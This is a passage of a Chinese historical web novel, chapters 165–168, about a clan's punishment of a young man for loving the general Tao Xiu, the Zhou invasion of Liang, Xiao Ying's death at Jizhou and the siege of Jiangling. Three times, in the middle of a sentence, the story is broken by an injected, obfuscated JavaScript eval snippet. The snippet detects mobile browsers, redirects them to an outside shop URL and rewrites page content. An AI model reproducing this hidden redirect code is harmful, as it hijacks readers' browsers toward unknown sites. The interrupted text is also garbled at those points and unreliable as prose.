他趴在地上,眼神涣散,手指抠着地缝,有一瞬不知自己为何要躺在这里,也不在乎旁人因怜悯他向族长的求情,缓了很久很久,露出一口被血染红的牙齿冷笑着、嗫嚅着:“要是打不死,我今日就穿上红裳与他成亲。” 165.这件婚服如何 忍无可忍的公仪鸾终于站出来质问族长:“他还一身的伤,父亲你敢让丰尧下死手?就不怕这口气赌输要了他的命?二叔一家不在此,怎能不顾二叔二娘的面子这样打他儿子?槐序坚韧上进、洁身自好,按你的意愿一步一步走到现在,他到底错在哪里,不就喜欢上陶县尹吗,我,你儿子我整日喝花酒、纵情不羁,一帮狐朋狗友,不思进取,颓废不堪,为何不见你对我动家法?槐序不就喜欢个男人嘛,难道是件罪恶滔天不可饶恕要灭族的大事?你对他动家法,不过是泄愤罢了,并不能改变任何结局,其实你也知道改不了。” 公仪达倒竖粗眉,对丰尧下令:“把这不知死活浑浑噩噩混日子的畜生也给绑了,他要家法,那就成全他。” 公仪鸾那不曾习武的身板只挨十棍,就被家仆狼狈地抬了下去。 起先老族长是立着的,这会气得浑身发抖,终于拢拢袖子坐了下来,坐在祠堂大门正中央,他的言行代表整个家族的权威,花白的须发在冷风中颤抖。既然这人宁死都不改,打残打死又能如何,自己的父亲不也是宁愿瘸一条腿也要娶身份卑微的母亲吗? 看来这是家风的传承。 昨晚,这躺在寒风里奄奄一息的“畜生”刚养好沙场上带回来的一身伤就跑来跟前请罪,说他喜欢陶修,会跟他过一辈子。他早就横出去了,打又能怎样。 一只冰冷的手抚上公仪林的脸颊,公仪林睁开眼,扯了嘴角笑了:“让哥哥看笑话了。” 两滴眼泪坠下,落在他抠地缝的指头上,温热、沉重。印象里,他很少看见陶修掉泪,能看见他因自己的惨状落泪,何尝不是令人迷乱的幸福,再疼些也不惧。 “大人,要罚就连我一起罚,还有多少棍,我愿替他。”陶修跪在公仪林身旁,褪下外衣,也只穿了件白色里衣,寒风一吹,宽大的衣裳晃了一阵,底下的身板似乎还不如地上躺的禁打。 何况他的身份,公仪达也不敢打。 公仪林伸长手向族长求情:“大伯,你不能打他,我不许,我决不许!” 公仪达把窝在心口的怒气挤到喉间,长长地叹出来,问陶修:“你们二人并非出身那不起眼的小门小户,做出有辱祖宗的决定难道都不计后果?萧世子身份更非公仪林能比,就没想过往后的子嗣和爵位?” “陶修命运坎坷,孤苦一人惯了,大人所指的事情早已不在我思虑之内,我唯一愧疚便是让槐序跟我做出一样的选择。” “好,好,你说得倒轻巧,你的事我管不着,但你又有什么资格阻止公仪林成家立业?” “我与他二人用相同的牺牲下了此决定,没有谁对不起谁,也没有谁阻拦了谁,虽愧疚,但各自愿意。” 这是遇到更讲不通的人了。 老族长久久闭上双目,再睁开眼时,脸上的怒气云消雾散,对下面一趟一跪的二人说:“我管不了你们,也别碍着我的眼,此事不要拿出去说,我公仪家丢不起这人。” 这是认输并妥协的一句话,公仪的子弟们满脸震惊和疑虑,看来老族长黔馿技穷实在拿二人没法,老族长这是真的老了呀! 他们围拢上去把快要死的人扶起来,数张嘴同时安慰:“槐序你能活了。”正要说着恭贺的话,可对上陶修那张脸,这些子弟们又觉得无所适从,总有那么点不自在。 公仪林抓起那件绛红的鹤氅,磕磕绊绊披到陶修身上,边吐血边问:“这件婚服如何?” “有点好看。” 所有人借故看望被打晕过去的公仪鸾,悄悄地散了,祠堂跟前只剩二人搀扶着朝前走两步,烟熏缭绕的祠堂内,公仪林对一众祖宗灵位拜了几拜,厚着脸说:“多谢列祖列宗的宽宏大量。” 就算海枯竭,石头化齑粉,磐石乱转移,如今这世上,已没有人能阻止他和陶修在一起,这顿家法打得真值。 * 陶修在攻打寿阳一战中功勋卓著,陈主正式把“虎兕军”的军号授予陶修,并允许他在疆场上打出“萧”字帅旗,敕封其为镇北将军,依旧坚守漳南,护卫寿阳的安危。 元旦刚过,陶修不顾公仪林百般挽留,迅速和胡峤动身回到漳南。身上担子越重,对百姓的责任越大,漳南及新拿下的城池越需要用心管制、防御。 天顺五年四月,因战事而荒废的各行各业还未恢复生机,流离失所的流民和孤残尚未完全安置妥当,一份从郢州快马加鞭递来的羽檄把陶修震在原地,寒意彻骨,半天没有回过神,文书攥碎在手中,茫然四顾,目光落在哈气连天的张城身上,这是惊变之下唯一熟识的人。 羽檄的落款处盖的是郢州刺史萧钰的印,那个十七年前对他痛下杀手的萧钰。 张城看出他的异常,夺下文书粗略扫过一遍,惊问:“周对梁国出师?发兵十五万?西梁小国怎敌周国的虎狼之师,你的父母兄弟岂不是……” 陶修踉跄冲出大门,直奔永定寺。 “周师早就兵临梁国基州,主将萧瑛已与之对峙一个月,而我现在才知道。现梁国兵荒马乱,动荡不安,已有亡国之危,师父,可愿随我去江陵?” 辛南佐现在是代发修行的僧人,他的头发刚够扎成一团,窝在硕大的脑袋上,粗糙中透着三分幼稚。闻言,不声不响拔出藏在床下的豁口黑刀,凶神恶煞,满眼戾气,对陶修说:“我曾效力萧钰,后来临阵脱逃背叛了他,我又怎能一辈子都做叛逃者,只要这把刀在,我就还是萧钰的拎刀人。” 若周国吞灭梁国,不但荆州唾手可得,水军实力大增,下一步必然就朝着大陈而来,因而陈主亲自下诏,命陶修帅一万水师沿江西上,明面上是与萧钰的兵马合归一处防御周国突袭,暗下却令陶修以萧梁身份救国,维持三方的平衡。 梁国连遭兵燹,大量百姓越过郢州萧钰的地盘逃到陈国境内,刚夺回淮南还在志得意满的陈主为彰显大国风范,对逃难至境内的百姓流民倍加关怀,济物放粮,得到百姓传颂的同时,也被周国咬牙切齿的恨上了。 陈、周之战,在所难免。 陶修与萧钰会师,大概是两人今生都不曾预料到的一件事。 都以陈国将帅之名义,企图扭转乾坤把风雨飘摇中的梁国延续下去,见面那一刻,一个没有恨意,一个没有愧色,只有心照不宣的同一个目的,和微微的讶异。他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055973|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再论叔侄,彼此称名道姓。 那日见面时,萧钰恭候在城门外,见到“死而复生”的萧琢,内心无波无澜,只奇怪是什么样的际遇让敌对的两人竟然走上相同的道路。 “陶将军,素闻虎兕军的大名,如雷贯耳,没想到领军将帅如此年轻,英雄出少年,萧某佩服!” 语气不够沉稳客气,带三分傲慢,可见此人一生都受人尊崇惯了。 “我领军到此,只欲救梁国于水火中,其他种种,一概不论。调兵遣将一事,还望萧刺史与我精诚合作。” “好,萧某愿与陶将军同舟共济。” 萧钰高昂的头颅扫到陶修身后的辛南佐,蔑视嘲讽道:“辛十三,别来无恙,当年匆匆一别,未曾想还有再见的一面。” 辛南佐跪举黑铁豁口大刀,慷慨激昂地的承诺:“辛十三该死,做了十七年逃兵,如王爷不弃,辛十三还愿肝脑涂地。” “当年你‘壮志未酬’就离我而去,我都替你抱憾多年,既然你愿意,今日起就归我帐下,好歹再为那一身铠甲进取,不是吗?” 曾立誓要做萧钰帐下大将的辛南佐,终究被忠义信、君君臣臣的束缚困死在一隅,这个冷酷无情的大汉别无选择,他此刻,只能选择萧钰。 辛南佐朝陶修看去一眼,迈步走到萧钰身边。 陶修有点同情他,但这是来此之前辛南佐就已选好的路,无怨无悔。 周国的十五万兵马分三路以包围之势力压梁国的军队,攻无不克,所到之处血流成河,尸横遍野,大批百姓背井离乡往外奔逃,拖家带口、风餐露宿,全国都是一片惨不忍睹的地狱之况。 震动中的梁国唯有两处还能暂时稳立在飘摇的风雨里,一处是处在边境的基州,基州刺史萧瑛浴血奋战,已与周军相持近两个月,若非百姓的倾力相助,他早就坚持不住了。 另一处便是驻守江津的杨微子,陶修童年的玩伴,现在与杨微子共掌水师的是两年前还在金屋里备受呵护的萧蕴。 亡国的危机逼着少年一夜长大,萧蕴第一次穿上铠甲,很重,正配胸腔里沉重的心,手中的剑也是萧瑛所赠,虽比不上昭明王宝剑,萧瑛在其上倾注的愿望一点不少。 萧蕴第一次踏上楼船眺望江水时,心中默念远方的长兄。他的长兄果然不是池中物,仅一年就打出了虎兕军的名号,后又敕封镇北将军,他离开的对,若留在梁国,反而被这池血水所困。 四面八方连连战败的消息传来,萧蕴又痛恨兄长,为何一身的本领货于他国君主,对故土的覆灭视而不见,他的才能该挥洒在江陵这片大地上,该坚守在最后一刻视死如生才对。 “骗子,那个骗子!”他喃喃的痛骂里包含思念和怨愤,他恨萧钰,如果没有萧钰的野心,他会从出身那一刻就拥有完美无缺此时却远在异地的兄长,但逼走萧琢的萧钰又错了吗?坐在王宫大宝座上垂垂等死的圣上错了吗? 萧家走到现今的地步,错在哪一步,追溯过往,该从哪一代追责,是三十年前自相残害的祖辈,还是虎视眈眈趁机而入的大陈帝王? 原来,错在大陈,他兄长为之卖命的陈国。 166.听说你受苦了 几个月来,萧蕴受父亲指点,严防布控大江,防止周国信州的水师杀过来。以前,周水师骚扰陈国时,常借道梁国的大江招摇而过,如今再不用受周国“借道”的窝囊气,他们来一个他打一个。 萧蕴身上的职责不再是“护国”如此崇高的志向,还有一个小小的家要他去守护,他不想他的家像那高耸树杈间的鸟窠,对风雨担惊受怕,他想给孩儿一个平静的将来,不像他哥萧琢的命运,也不要经历此刻自己正经历的战火。 战火蔓延的愈深,亡国的步伐走的越近,对于国小民寡的梁国,纵有补天之力的昭明王重生,也阻止不住亡国的丧音。 奋战,是身为萧家人最后的职责,刀架在脖子上,顶多血染席子大的泥土,再把那片血深深透进大地里。 已是四月底,亡国的恐慌给明媚的春日染上阴云,能逃的百姓都已逃到大陈境内被庇护着,不想不愿逃的就跟着郡守、县尹顽强地坚守在故土。 万里晴空下是掩盖不完的尸骨和彷徨流离的百姓,萧蕴骑着马沿江巡逻,被入目的凋敝之色刺痛心口。此刻也才明白投诚大陈的四叔萧钰拉了一条多长的线,不知能否如愿钓到大鱼。 他立马在一块巨岩上,摸着马儿粗糙的鬃毛,兵营固然不缺他使用的马,却还是想起前年陈使的一句无心话:“真到你用马的时候,只怕千金难求。” “呵——”萧蕴冷笑着,“那俩可恶可恨的人,此刻又在做什么?” 忽有斥候赶马来报:“小将军,有大批战舰浩浩荡荡自东往大营开来,速度很快。” 萧蕴脸色大变,忙问:“自东而来?约多少战船?” “确实溯水而来,大小船近两百只。” “打的什么旗号?” “还未探清。” 萧蕴抽出腰间马鞭猛抽坐骑,大喊一声:“回营。” 杨微子亦收到探子的消息,仓促间下令应战,江面船只云集,紧罗密布,岸上军队也排列开来,随时迎战。 萧蕴杵着长枪,炯炯凝视江面,听斥候禀报敌人战舰行进的速度,掌心潮湿、头脑高度戒备,直到斥候打探到对方旗号时,不由得愣住。 “陶”与“萧”字旗插在为首的楼船上,让人摸不清底细。身边也不是没有姓陶的人,萧蕴先想到的是陶修,随即又撇开那不可能的猜想。 “小将军,敌人的战舰全部放缓速度,只有带头的一只小型楼船还在急行,杨将军问是否先去拦截?” “不急,让它来。”萧蕴的前襟和后背变得潮湿贴身,不全是害怕使然,也因他的几分期待。 终于,那艘楼船安然驶入大营水寨,慢慢靠近江边。 萧蕴朝岸边狂奔,要看清站在船首那人的身姿。 英挺、笔直的轮廓在他湿润的眼中渐渐清晰。萧蕴丢掉长枪,解下战袍守在栈桥上,殷殷期待那人走下楼船。 陶修跳下船,踩上故土的兵营,伫立原地,朝远处的萧蕴伸出两只手,示意他:“过来,你还不过来?” 萧蕴几番控制表情,才将眼里的泪收回去,望向身着战甲、越发意气风发的兄长,他的战甲未免太朴素,仅是件裲裆甲,罩在白色的衣衫上,系一条红绸腰带,却说不出的耀眼。 萧蕴向他跑去,抱着他,把头搁在陶修的左肩,不舒服,又换到右肩,如此反复几次,终于瓮声开口:“兄长这是代陈伐梁?如果是,先抓我?” “这身骨头硬了不少。”陶修拍着他的肩胛骨,“听说你在此受了不少苦,我说过哪天你被人欺负了就来帮你出气,忘记了?” 他把萧蕴从怀里拽起来,端详他的脸,他才十八,当年自己火烧熊威营时也是十八,但与萧蕴身上的重任有着天壤之别,这哪是他能撑起的大任。 可陶修从萧蕴眼中看到磨砺过的坚韧和少年人的一腔抱负。 “你黑了许多。” “黑点好,夫人说我黑一点比从前更硬朗。” “夫人?兕儿你成家了?” *** “信州水师不容小觑,陈主一面命我率军试探其实力,再者,我来此也是救梁国的危难。”陶修命萧蕴打开封锁的江面安置他带来的大军,一面向萧蕴和杨微子讲述当前局势。 “摸清信州水寨的军况,我就率军攻打其大营,萧兕,可愿跟着我真真正正杀一场?” “没有一日不想这么干,”萧蕴第一次在信任的人跟前露出长久以来的担忧:“兄长,如今梁国仅剩下基州、武陵、江津、江陵四处还在负隅顽抗,其他州郡或望风而降,或经不起铁蹄践踏被周军攻下,我看不清前景,也没有保住国土的信念,身为将帅,我在此坚守不过是等着捐躯报国,坦荡死在将士之前,就算死,大梁也绝无贪生怕死之辈。” 陶修眺望辽阔的江面,把萧蕴的话都听进去了,沉默很久,才说出一句颇为无奈的话:“尽人事,听天命。” 五月初,陷入战火长达三个月之久的梁国终于主动展开一场对外反击,由杨微子和陶修领军从水路分左右两路进攻信州。 大战持续三日,江面和陆上的大火烧了整整三日。陶修为保存兵力,调动五千陈军,以梁军为主的将士们浴血奋战,他首当其冲,高举明晃晃的昭明王宝剑冲锋陷阵,将士们很久没有见过这般英武无畏的将军了,他像道劈开暗夜的闪电,灼目而激烈,将士们长久窝在肚里的火终于痛痛快快释放出来,三月来的憋屈和处处战败的消沉终于化作刀尖上的寒光。 信州,周国偷偷摸摸“壮大”的水师,被梁国打的猝手不及,仅三天时间就被战火吞噬。 周军死伤无数,信州刺史仓皇撤出城池逃至奉节,抛下的楼船战舰和兵仗辎重尽归梁国。 这一战,将士们看到了希望,梁军收回对“通敌叛国背信弃义”的萧世子的蔑视和不解,盛赞虎兕军不凡的战力,他们与所有人一样,崇拜强者,议论虎兕军将领那天生的神武,他们叫他“红绸世子”。 得胜的消息传至基州,萧瑛站在城楼上哭了。多年不曾流泪的男人,此刻哭的十分委屈,他仰首望天,青空湛湛,哭许久的战事终于迎来一线生机,哭这线生机根本改变不了梁国的命运,他还哭神似昭明王的侄儿被这个国亲自推给了旁人,他本该在这片土地上逍遥自在的生活。 城楼之下,没收拾干净的尸骨在遭受风吹日晒,硝烟随风而动,虎狼一样的周军日日想着轰开城池,抓住他这根梁国最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067724|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的支柱。 萧瑛摊开双掌,上面的刀伤很难愈合,一道覆盖一道,何时起,喜好拿刻刀的手被迫握住宝剑,曾经柔软儒雅的少年在基州一守就是十七年。附庸之国任人践踏,周国的侮辱和奚落促使他的筋骨日益坚韧强壮,但如今,萧瑛感觉到疲惫。 若不是身后的梁主,萧瑛真想策马狂奔一回,到异国他乡看看,去看看天下的山川江海,看看萧琢丢失的十六年待过的地方。 周国灭梁的步伐更加急促,数道诏令传到梁国宫城,要梁主亲自去大兴城面见周帝。 基州城摇摇欲坠,此城一旦坠落,江陵的宫城也将不保。 基州城已兵临城下,旌旗遮天,刀剑森寒,黑压压的人群声势浩大,他们齐声高喊“开城门”,给基州城内的人最后的压迫。 有人劝萧瑛开城门投降,力量悬殊早就预定了结局,何必再添无畏的牺牲。 有人给他递上一面白旗,萧瑛攥住投降的白旗,下唇咬出血,环视周围面色疲惫的将军们,他们同他坚守此城多年,最后一刻,他们不愿再战,人心是容易累的。 萧瑛展开白旗,对着它大笑几声,继而眼露愤怒,撕碎白旗怒问众人:“人生天地,唯有忠义二字,死有何惧,岂能做亡国之奴?我愿孤身一人战死城下,诸位若降,就从我身上踏过去。” “将军,我们实在不愿看你痛苦至此,听说周主是仁德之君,若降,如何就不能留将军一命?既然今日将军存有死志,我们皆愿跟您战到最后一刻。” 最后一战惨烈无比,天地昏暗,萧瑛死在基州城的城下,他把撕碎的白旗系在腰间,死前那一刻,鲜血将粗糙的白旗染出一幅山水一样的画卷,曾经年少时,他带上侄儿在这幅画卷里游山玩水,看遍锦绣山河,住在岳阳王府那无忧无虑的日子里,他以为人生来就该如此开心逍遥,不知道人生能这样压抑而痛苦。 城池失守的最后一刻,萧瑛看见一个山岳似的大汉在千军万马里疯狂的杀戮,嘶吼震天,像头暴怒的凶兽。 他是萧钰派来救援的。 临死之时,萧瑛好奇地盯着不停忏悔的辛南佐,他并不认识此人,却从大汉焦虑的脸上看见相识的感觉,至死也没明白他为何抱着自己泪流满面,或许是为残破的国而哭泣。 管它呢,哭吧,这乌烟瘴气的乱世,早就令人厌弃了。 凭一己之力杀得敌人不敢近前的辛南佐,把萧瑛托在粗壮的臂弯,口中喃喃自责:“小殿下,对不起,对不起……” 若不是鲜血堵住口,萧瑛一定要问他:你为何说对不起,这场仗注定要输的? 辛南佐眼睁睁看着萧瑛嘴里溢出的鲜血堵住喉间所有疑惑,萧瑛那只带血的手摸上他额头的旧伤,直至眼神涣散都没能说出一句话。 辛南佐长啸一声,痛哭出声,恨自己稀里糊涂的一生,像老鼠一样东躲西藏的一生。这辈子到底哪步走错了,对不起的都是萧家人,对不起萧钰,对不起萧瑛,对不起萧琢,可能多年前逃难来江陵那一刻就走上一条不归路,一个人怎么能把一生过成这副倒霉样? 辛南佐亲自把萧瑛葬在静山,昭明王墓旁,山中宁静,适合曾经那个无忧无虑的小殿下长眠。 167.他都不会喊爹 萧瑛战死的消息传至陶修耳中那日,一场大雨倾泻而下,阴云密布的江面白浪滔滔,脚下的战船随波逐流,陶修在船首站了许久,一动不动,明明心中哀痛的难以呼吸,眼里却流不出泪。 他往基州方向长跪不起,把萧瑛的音容从脑海里过了一遍,他发现,他保留萧瑛的记忆少得可怜,和别人一样,萧瑛只是个为国战死的将军,是基州受民爱戴的刺史,而非那年带他走遍江陵的五叔。 萧蕴脸上的阴翳越来越沉,基州一败,江陵立即危如累卵,他所有的亲人都住在江陵城。 得胜的周军继续南下,仅两日就把大军开到离江陵城二十里外的地方下寨。陶修和萧蕴率领的救援大军几乎与周军同时到达。 两军没有开战,各自观望。 梁军要保存最后的力量。 周军在给梁主最后的抉择,是战是降? 决定梁国存亡的最后一战开始于梁主出现在城楼的一刻。 梁主脊梁笔挺,手扶宝剑,身着三十年前脱下就再未碰过的暗沉黑铠,铠甲压身,梁主没想到还有重回沙场的一天。 他拔出雪亮的长剑,指天发誓:“周国之主为朕在大兴城盖好一座华丽的庭院,再三邀朕到那颐养天年,朕出身建康,披荆斩棘杀退环伺的虎狼后登基于江陵,可惜时运不济,民生多艰,饱经忧患,三十年前朕亲眼望着六万子民被虏他国为奴,痛心疾首,如今,使朕悲愤终身的事又现眼前,朕不会再让百姓遭此屠戮和侮辱,朕已老,经不起路途颠簸,去不了周主准备好的庭院,三十年家国,万里山河,朕今日就站在此处,与尔等同生共死。” 帝王的气势犹如雷霆,其间充斥杀伐之意,梁军的呼喊声振寰宇,这千万人的呐喊渐与梁主的意愿汇聚成一柄利剑。 陶修第一次见到亲临沙场的帝王,也第一次见父亲萧宸披坚执锐,那对向来意见不合的兄弟在最后一刻终于决定同仇敌忾,不远处就是萧钰从郢州增援而来的军队,这片大地上,憋屈多年的萧家人终于兵合一处,为最后的尊严而战。 周国的强大,从其强盛的军容上可见一斑。 进攻的鼓声击响沉重一槌,两军厮杀在一起。敌人太广,敌将太多,陶修在沙场上左支右绌,早已杀的精疲力竭,还要顾着萧蕴的安危。 萧蕴带着多大的恨意斩杀敌人,陶修猜不准,前一晚,萧蕴找到他,一张脸上全是明朗的笑意,他说:“我希望萧辙能平平安安长大,你我一定能把周狗赶出梁国疆界,是不是?” 大概萧蕴的恨意由此而来,作为一个年轻的父亲,他爱萧辙,就越恨敌人带来的灾祸,恨国破家亡时的无能为力,恨不能给孩子光明的前景。 他肆意挥剑,挥舞心里的仇恨,身负重伤亦不肯停下。 “萧兕,退回城内啊——”陶修对他嘶喊,潮水般掩杀来的敌军把梁国的几路大军冲散、击溃。 陶修在阵中那无人能敌的势头立即引起史同乐的注意。 都督此次灭国之战的史同乐早就摸清这年轻人的来历,他们都叫他红绸世子,爱系一条显眼张扬的腰带,说他最擅抓对手的将领,说他常用少量的兵力打出漂亮的胜仗。 史同乐不信此人三头六臂,比当年的昭明王还善战。他勾动两指,很快从身边出列十人,挺枪握戟,一阵风似的冲下战阵。十人皆是身高体壮的猛将,是史同乐精心挑选的勇士,他要迅速击败梁国刚树立起的旗帜人物。 本欲杀进敌方取史同乐人头的陶修顷刻就被这些人缠住,他不能突围,他们却也杀他不得。 周、梁两军的厮杀如同炼狱,尸体累积在城楼下,血染护城河之水。亡国之音逼近,杀红眼的梁军不分敌我,驾驶捆绑利刃的战车,在群人肆意冲撞奔,血肉横飞。 如此无望的境地,有人誓死为圣上洒尽最后一点血,烧尽最后一根骨头,有人质疑胜负的意义,于是,奋战与怠战的人形成两派,奋战的咬牙切齿,不愿臣服,怠战的有了逃跑的怯意。 陶修在此绝境中已斩杀几名悍将,精疲力竭,大口喘息,从未经历一次败仗的昭明宝剑,剑尖豁口,他感到从未有过的绝望,那是一种看不到希望的彷徨。 战在城楼的梁主在想什么,是在等最后一名将士倒下后,他再从容赴死?他还在希冀不一样的结局? 滚滚狼烟,漫野哀嚎,陶修被敌人围困到寸步难行,浑身是血,他从掼倒在的马背上站起来,扫视逼近的敌军,退无可退,昭明剑上的血迹滑至他掌心,与汗融为一体,隔着浓厚的烟火已找不到萧蕴的身影,他焦躁的嘶吼:“萧兕?回答我……” 陶修的怒吼迅速引来一人,引来一支人马,是胡峤。 有了胡峤的加入,陶修终于喘上一口气,“我不是让你坚守水寨的吗?为何赶到这里?” 胡峤用长枪挑翻一人,回他:“江陵城都将不保,不来勤王守着水寨还有何用?杨微子将军说了,此城若失,他立即遣散水军不作任何抵抗。” 这场战的兵力悬殊太大,至未时,梁军的惨重伤亡及叛逃的一部分军士,使局势渐渐走向终点。陶修命所有人撤回城内。 他强行拖回满身血的萧蕴,城门轰然一声闭上。 史同乐领到的命令是今日必须拿下此城,时间不允许他再犹豫,不能给城里的人再反抗的机会,攻城计划随即安排上,冲车、箭矢、投车都已准备就绪。 他再次向梁主喊话:“插上白旗,换上白袍,走出城门,这是一国之君对百姓最后的怜悯,何必垂死挣扎,做无谓的牺牲。” 萧蕴拉足弓,朝史同乐射去一箭,“宁死不降!” 陶修抽出空隙见过梁主和父亲后重又回到城楼。俯视城下扯天连地的敌人,满脸忧色,他和萧蕴一句话都没说,都知道即将面临的结果。 阴云压顶,风势大起,似乎要来一场初夏时节的大雨。 萧蕴走到陶修身边,愧疚地笑了一下,“我以为你贪图陈国的安宁不肯回来,今日能和哥哥死在一起,我没有任何遗憾了,只是,”望向远方,叹口气说:“萧辙太小了,都还不会喊爹,我不该这么早就把他生下来。” 陶修没有说话,沉沉地凝视城下。 “死期将至,说一句就少一句,瞧你紧闭着嘴干嘛?” “萧兕,你该活下去,此处不行就去陈国,带着萧辙和静瑗平平静静生活下去,你这么年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081033|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不要被忠君的道义绑缚手脚,人生一世,该好好活一场,我不认同圣上的决定,哪怕此刻,圣上着白袍扶棺而出,百姓仍将他视作仁君,缅怀他死前悲壮的一刻,梁国撑到现在即便灭亡也不是圣上的错,顺天应时,他该为城内数万百姓争取一线生机才是。” “那你呢?劝我走,你留下来做亡国时慷慨就义视死如生的萧家好男儿?兄长,我不走,父亲也不会走的,这城内几百个萧家的人都不会走。此刻的悲痛想必哥哥不难理解,君辱臣死,做臣子的该捍卫圣上最后的尊严,圣上说过,萧家在三十年前的建康就该从容面对今日的局势,圣上苦苦支撑梁国这么多年,我与父亲会陪他战到最后。” “满城百姓何辜?顽抗到底,只会让攻入城的史同乐大开杀戒,屠戮全城。” 二人正说话间,忽听楼下一片嘶吼混乱,陶修趴到垛口,见东南方飞奔来一支轻骑兵,注目细看,陶修认出为首的壮汉正是师父,腰挂一口豁口大刀,袒胸赤膊,正鞭马入敌阵。 陶修欲重下城楼,萧蕴一把抓住他,急问:“你做什么去?” 陶修指着人群里体格显眼的黑汉说:“此人是我师父,奉萧钰之命领军增援,我出城接应他。” “城外凶多吉少,慎去。” 陶修将两把长剑插入后背,重新系过腰间红绸,正视萧蕴道:“此人就是拐我至陈国之人,但有他在的地方,我绝不会有性命之危。” 萧蕴眼见陶修凭着矫捷、灵活的本领跳下城头,落到倒塌的瞭望塔后又跳进一辆战车,像风一样来去自如,那一瞬间,他觉得这位兄长真的像满江湖乱跑的侠客。 陶修下到战车后迅速掠入人群,斩杀几名敌军,夺了匹马直奔辛南佐而去。 零碎的肉块和残肢在辛南佐周身溅起又落下,敌人在此人嗜血疯狂的残杀里睁大双目,说他是地狱爬出的恶鬼也不为过,双目狰狞赤红,呜呜嘶吼,手里黑刀只见虚影不见真身,他的周围,生生被他砍出一圈宽敞的空地。 史同乐抹去额头汗珠,暗暗纳罕:萧世子没死,怎么又多出一个黑鬼罗刹? 再定睛一看,寸步不离萧世子左右的猛汉也来了,那是胡峤。 此三人,合归一处,锐不可挡,所向披靡,带着一对轻骑,把周军攻城的大军杀退五里。 天边乌云四合,大雨将至,史同乐不得不暂时退兵,在他眼中,已无外援的江陵城不过是座死城,里面的人都是冢中枯骨,再等上一夜也无妨。 敌军撤回本营后,城内所有人都舒了一口气。 辛南佐带来的骑兵不肯进城,坚持捍卫在正南门。城楼上灯火照如白昼,城内数万百姓却惊惶不安。 有那富贵的、自知大势已去的商贾、官员私下打点守城的人,趁着黑夜悄然离去,陶修皆视而不见,大难来临,想活命是人之本性。 陶修带上萧蕴把四个城门都巡视一圈,把将士们疲于应战的倦容看在眼中,谁都不敢提明日之事。几滴豆大的雨砸了下来,陶修仰望深邃的夜空,无助感萦绕心头。萧蕴的背影还很稚嫩,该劝以什么样的理由才能让他离开此城。 雨只掉了几滴就暂歇,似还在酝酿。 168.从没这样痛过 萧家的男儿都集聚在一起,身着战甲,拿出往常游戏才会用的刀剑,听候萧宸调遣,背城一战。 穿过混乱不安的人群,陶修重新跨进岳阳王府,这是他最后一次见母亲,家国存亡之际,她显得从容平静,坐在煌煌灯火的大堂内,头上朱钗耀目,照得她贵气端庄。 她轻轻抚过两个儿子的脸庞,都需她抬高手臂才能够到,眼中带笑,欣慰地夸赞道:“我儿果然都是提剑征战沙场的人。” 陶修第一次见到萧辙,尚在襁褓中的孩儿,抱在他母亲怀中。 他接过恬静入睡的孩子,一股奶香气扑鼻,手臂微颤,突然明白萧蕴心中的忧虑和杀敌时的仇恨,这孩子太小太嫩,任何企图伤害他的人都如恶鬼。 这一夜,陶修没有看见梁主。 黎明将至,阴云不散,陶修睁开还没合上两个时辰的眼,城楼的灯火一处一处的熄了,晨光穿不透黑云,四周有种冷寂地压抑和恐慌气氛。 史同乐的攻城军马又来了,照例朝城中喊话,是投降还是抵抗。 齐发的箭矢果断告诉他答案。 灭一国的军功之大,大到能封侯加爵,大到能留名青史,史同乐的担忧里藏了几分兴奋,面无表情下了最后命令,“攻城,在所不惜,哪怕踩着尸体爬上去。” 低沉的进军鼓声和天边的闷雷齐头并进,众人在惊惧中忽又听到枫叶寺传来的晨钟,一声,两声,三声,悠远庄重,肃穆悲壮。 弓弩、冲车、云梯,万般兵器瞄准这座孤城,这座还住着帝王的孤城,周军同时撞击南门和东门,倒下一波又站起一波,死尸高垒,血流成河。 反抗的梁人已杀得失去理智,但凡能杀死敌人的东西全部掷下,火、油、汁,无所不用其极,这场宁死不屈的一战开始透支城内的物资,梁军渐渐被逼入绝境,双方都付出血腥残酷的代价。 辛南佐的骑兵在浩浩荡荡的大军面前坚持了两个时辰便全军覆没,唯剩他一人,孤军奋战,在斩杀中失去方向,咆哮发怒。 无人计算此战持续多久。 陶修在城墙上来回督战,叫将士们杀退一轮一轮的夺命者,他望着师父在战阵中冲突,换过三匹马,依旧战力不减,不禁感叹他对萧钰的赤胆忠心。 “但是,师父啊,这是萧家的存亡,你还是逃命去吧,为了那身不曾穿在身上的铠甲,何须卖命至此?” 若是天气晴朗,此刻该是初夏时节最明媚的一刻。陶修喉咙冒火,唇部焦干,几乎喊不出声音,一具具从城楼抬下去的尸体已摆放到望不见尽头,他期待大雨倾盆,此城或许还能再挺一日。 